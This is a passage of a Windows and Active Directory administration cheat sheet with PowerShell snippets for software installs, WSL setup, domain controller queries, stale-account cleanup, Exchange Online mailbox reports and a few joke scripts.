685 | winget install --id=Microsoft.DotNet.Framework.DeveloperPack_4 -e ; winget install --id=Google.Chrome -e ; winget install --id=Microsoft.VCRedist.2013.x64 -e ; winget install --id=Microsoft.VCRedist.2013.x86 -e ; winget install --id=Microsoft.VCRedist.2015+.x64 -e ; winget install --id=Microsoft.VCRedist.2015+.x86 -e ; winget install --id=Microsoft.VCRedist.2012.x64 -e ; winget install --id=Microsoft.VCRedist.2012.x86 -e ; winget install --id=Microsoft.VCRedist.2010.x64 -e ; winget install --id=Microsoft.VCRedist.2010.x86 -e ; winget install --id=Microsoft.VCRedist.2005.x86 -e ; winget install --id=Microsoft.VCRedist.2008.x86 -e ; winget install --id=Microsoft.VCRedist.2008.x64 -e ; winget install --id=Oracle.JavaRuntimeEnvironment -e ; winget install --id=7zip.7zip -e ; winget install --id=Adobe.Acrobat.Reader.64-bit -e
686 | ```
687 |
688 | #### Install and configure Windows Subsystem for Linux (Server 2019)
689 |
690 | ```powershell
691 | Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux
692 |
693 | curl.exe -L -o debian.appx https://aka.ms/wsl-debian-gnulinux
694 | Rename-Item .\debian.appx debian.zip
695 | Expand-Archive .\debian.zip debian
696 | Expand-Archive .\debian\DistroLauncher-Appx_1.12.1.0_x64.appx
697 | .\debian\DistroLauncher-Appx_1.12.1.0_x64\debian.exe
698 | ```
699 |
700 | #### List Mapped Network Printers with IP Address
701 |
702 | ```powershell
703 | $printers = Get-WmiObject -Query "SELECT * FROM Win32_Printer"
704 | foreach ($printer in $printers) {
705 | $portName = $printer.PortName
706 | $port = Get-WmiObject -Query "SELECT * FROM Win32_TCPIPPrinterPort WHERE Name = '$portName'"
707 | if ($port -ne $null) {
708 | [PSCustomObject]@{
709 | PrinterName = $printer.Name
710 | IPAddress = $port.HostAddress
711 | }
712 | }
713 | }
714 | ```
715 |
716 | ## Active Directory
717 |
718 | ```
719 | Import-Module ActiveDirectory
720 | ```
721 |
722 | #### Locate all DCs
723 |
724 | ```powershell
725 | dig +noall +answer _ldap._tcp.dc._msdcs. SRV
726 | ```
727 |
728 | ```powershell
729 | nslookup -type=srv _ldap._tcp.dc._msdcs.
730 | ```
731 |
732 | ```powershell
733 | nltest /dclist:
734 | ```
735 |
736 | ```powershell
737 | Get-ADDomainController -Filter * | Select Name, HostName, Site
738 | ```
739 |
740 | #### Disable all stale computer accounts (90 days)
741 |
742 | ```powershell
743 | # Import the Active Directory module
744 | Import-Module ActiveDirectory
745 |
746 | # Define the number of days for stale account detection
747 | $StaleDays = 90
748 |
749 | # Calculate the date from $StaleDays ago
750 | $Date = (Get-Date).AddDays(-$StaleDays)
751 |
752 | # Find computer accounts that haven't logged in since $Date
753 | $StaleComputers = Get-ADComputer -Filter {LastLogonTimeStamp -lt $Date} -Properties LastLogonTimeStamp
754 |
755 | # Loop through each stale computer and remove it
756 | foreach ($Computer in $StaleComputers) {
757 | $ComputerName = $Computer.Name
758 | $LastLogonDate = [datetime]::FromFileTime($Computer.LastLogonTimeStamp)
759 |
760 | Write-Host "Removing computer: $ComputerName (Last Logon: $LastLogonDate)"
761 |
762 | # Remove the computer account from Active Directory
763 | # Uncomment the next line to perform the deletion
764 | # Remove-ADComputer -Identity $Computer.DistinguishedName -Confirm:$false
765 | }
766 |
767 | # Output completion message
768 | Write-Host "Completed removal of stale computer accounts."
769 | ```
770 |
771 | #### Retrieve list of all DCs and assigned FSMO roles
772 |
773 | ```
774 | Import-Module ActiveDirectory
775 |
776 |
777 | $DCs = Get-ADDomainController -Filter *
778 |
779 | foreach ($DC in $DCs) {
780 | $roles = @()
781 |
782 | $forest = Get-ADForest
783 | if ($DC.HostName -eq $forest.SchemaMaster) { $roles += "Schema Master" }
784 | if ($DC.HostName -eq $forest.DomainNamingMaster) { $roles += "Domain Naming Master" }
785 |
786 | $domain = Get-ADDomain
787 | if ($DC.HostName -eq $domain.RIDMaster) { $roles += "RID Master" }
788 | if ($DC.HostName -eq $domain.InfrastructureMaster) { $roles += "Infrastructure Master" }
789 | if ($DC.HostName -eq $domain.PDCEmulator) { $roles += "PDC Emulator" }
790 |
791 | [PSCustomObject]@{
792 | DomainController = $DC.HostName
793 | Roles = $roles -join ', '
794 | }
795 | }
796 | ```
797 |
798 | ## Microsoft 365
799 |
800 | #### Connect to Exchange Online
801 |
802 | ```
803 | Install-Module -Name ExchangeOnlineManagement
804 | Import-Module ExchangeOnlineManagement
805 | Connect-ExchangeOnline -UserPrincipalName [-ExchangeEnvironmentName ] [-ShowBanner:$false] [-DelegatedOrganization ] [-SkipLoadingFormatData]
806 | ```
807 |
808 | #### Exchange Online MailBox info (Mailbox size and Archive size)
809 |
810 | ```powershell
811 | Get-Mailbox -RecipientTypeDetails UserMailbox | ForEach-Object {
812 | $mailboxStats = Get-MailboxStatistics $_.Identity
813 | $archiveStats = @{TotalItemSize = "N/A"} # Default value in case there's no archive.
814 | if ($_.ArchiveStatus -eq 'Active') {
815 | $archiveStats = Get-MailboxStatistics $_.Identity -Archive
816 | }
817 | [PSCustomObject]@{
818 | DisplayName = $_.DisplayName
819 | PrimarySmtpAddress = $_.PrimarySmtpAddress
820 | ArchiveStatus = $_.ArchiveStatus
821 | AutoExpandArchive = $_.AutoExpandingArchiveEnabled
822 | TotalItemSize = $mailboxStats.TotalItemSize
823 | ArchiveSize = if ($_.ArchiveStatus -eq 'Active') {$archiveStats.TotalItemSize} else {"Not Applicable"}
824 | }
825 | } | Select-Object DisplayName, PrimarySmtpAddress, ArchiveStatus, AutoExpandArchive, TotalItemSize, ArchiveSize
826 | ```
827 |
828 | ## Scripts
829 |
830 | * [HP Bloatware Removal](https://gist.github.com/mark05e/a79221b4245962a477a49eb281d97388) (varied results)
831 | * [AD Audit](https://github.com/phillips321/adaudit)
832 | * [Microsoft Official Windows Search Reset](https://www.microsoft.com/en-us/download/details.aspx?id=100295)
833 | * PSCmder (Really bad PDQ alternative, script and `commands.txt` are in this repo. Usefull for remote installation or command exec)
834 | * [CIS Critical Controls](https://github.com/robvandenbrink/Critical-Controls-v7)
835 |
836 | ## Windows Defender
837 |
838 | [Windows Defender is enough, if you harden it](https://gist.github.com/superswan/1d6ed59e75273f90a481428964be3ae5)
839 |
840 | ## Fun
841 |
842 | #### Final Fantasy Victory Beep
843 |
844 | ```
845 | [console]::beep(784,300); Start-Sleep -Milliseconds 100; [console]::beep(784,600); [console]::beep(622,600); [console]::beep(698,600); [console]::beep(784,200); Start-Sleep -Milliseconds 200; [console]::beep(698,200); [console]::beep(784,800)
846 | ```
847 |
848 | #### DVD Cursor
849 |
850 | Bounces cursor around the screen like the DVD logo
851 |
852 | ```
853 | Add-Type -AssemblyName System.Windows.Forms
854 |
855 | # Get screen dimensions
856 | $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds
857 | $maxX = $bounds.Width
858 | $maxY = $bounds.Height
859 |
860 | $x = [System.Windows.Forms.Cursor]::Position.X
861 | $y = [System.Windows.Forms.Cursor]::Position.Y
862 |
863 | # Movement vector (speed)
864 | $dx = 14
865 | $dy = 14
866 |
867 | while ($true) {
868 | $x += $dx
869 | $y += $dy
870 |
871 | # Check for screen bounds and reverse direction if needed
872 | if ($x -le 0 -or $x -ge $maxX) {
873 | $dx = -$dx
874 | }
875 | if ($y -le 0 -or $y -ge $maxY) {
876 | $dy = -$dy
877 | }
878 |
879 | [System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point($x, $y)
880 |
881 | Start-Sleep -Milliseconds 50
882 | }
883 | ```
884 |
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